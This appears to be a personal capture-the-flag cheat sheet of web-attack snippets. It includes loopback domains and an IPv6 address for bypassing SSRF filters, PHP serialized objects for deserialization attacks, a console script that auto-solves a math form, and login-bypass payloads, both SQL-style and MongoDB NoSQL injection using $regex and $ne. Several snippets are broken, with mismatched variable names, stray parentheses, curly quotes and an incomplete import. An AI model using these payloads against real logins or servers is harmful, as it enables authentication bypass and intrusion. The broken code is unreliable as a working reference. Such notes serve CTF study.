*You know Its not always about the localhost or the 127.0.0.1 or the vcap.me. Sometimes its just about the http://[::1]*
Thats an IPv6 loopback address .
SImilar domains that resolves to localhost: localtest.me, lvh.me, fuf.me, yoogle.com.
These sites have just kept thier A record to 127.0.0.1.
This knowledge can be used while exploiting SSRF to bypass filters.
for n in range(0, 7):
globals()['strg%s' % n] = 'Hello'
# strg0 = 'Hello', strg1 = 'Hello' ... strg6 = 'Hello'
Jwt: https://irrte.ch/jwt-js-decode/pem2jwk.html
ssh-keygen -t rsa -b 2048 -m PEM -f private.pem # generates private key
ssh-keygen -f private.pem -e -m PEM > public.pem # public key
Regex stuffs: https://www.debuggex.com/
https://drive.google.com/file/d/1uGB1zKwtaMVDblpu9r9a5svLzB7liQGS/view
php -r 'class flag{} echo serialize(new flag);'
php -r 'class flag{} echo serialize(array(new flag, new flag));'
a:2:{i:0;<>O:1:"B":0:{}<><>i:1;<>O:1:"B":0:{}}
in console:
a= parseInt(document.querySelectorAll("form span") [1].innerHTML);
b= parseInt(document.querySelectorAll("form span") [3].innerHTML);
opr= document.querySelectorAll("form span") [2].innerHTML.trim());
result="";
if(opr=='+') result=a+b;
else if(opps=='-') result = a-b;
else if(opps=='*') result = a*b;
else if(opps=='/') result = a/b;
else if(opps=='%') result = a%b;
document.querySelectorAll("form input") [1].value=result;
document.querySelector("button").click();
import requests
url=""
s=requests.Session()
r=s.post(url + "login", data={
"username": "name",
"password": "pass"
})
r=s.get(url+"directory")
print(r.text)
s.close()
import requests
from bs4 import BeautifulSoup as BS
from bs4 import Comment
cont = True
counter = 1
while cont:
r = requests.get(‘http(s)://site.com/’)
soup=BS(r.text,’html.parser’)
comments=soup.find_all(string=lambda text:isinstance(text,Comment))
for c in comments:
c = str(c)
c = c.replace(” “,””)
c = int(c)
print(“Current Request Number is: ” + str(c))
if(c%10000 == 0):
print(“Request at multiple of 10000.”)
print(r.text)
cont = False
break
break
Pass the object in request
"password[id]": "name"
which makes: Select * from users where username=? AND password='id'='1'
#MongoDB #Express
import requests as
print(r.post('http://site.ctf/', data={"user[$regex]":"\w+","pass[$regex]":"\w+"}).text)
username[$ne]=1^password[$ne]=1 #<Not Equals>
